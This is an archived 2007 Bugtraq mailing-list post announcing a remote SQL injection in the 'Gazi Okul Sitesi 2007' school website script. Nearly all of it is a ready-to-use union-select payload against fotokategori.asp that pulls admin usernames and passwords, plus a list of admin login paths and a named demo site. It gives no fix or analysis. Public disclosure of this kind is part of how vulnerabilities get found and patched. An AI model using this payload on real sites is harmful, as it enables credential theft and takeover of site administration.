bugtraq - Gazi Okul Sitesi 2007(tr)(fotokategori.asp) Remote SQL Injection

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 4 Apr 2007 20:21:23 -0000
From: r00t-balance@...mail.com
To: bugtraq@...urityfocus.com
Subject: Gazi Okul Sitesi 2007(tr)(fotokategori.asp) Remote SQL Injection

#Title  : Gazi Okul Sitesi 2007(tr)(fotokategori.asp) Remote SQL Injection Vulnerability
#Author : CoNqUeRoR
#Demo Page   : http://www.gazilogo.com
#Script Page : http://www.aspindir.com/indir.asp?id=4746
#Date : 30-03-2007

#Vulnerability:
--------------------

#Username & Password : /fotokategori.asp?'%20union%20select%201,2,3,password,5,6,username,8%20from%20admin

#Admin Logins : /duyuruadmin/
                /defteradmin/
                /haberadmin/
====================================

Special Thank: B-S-N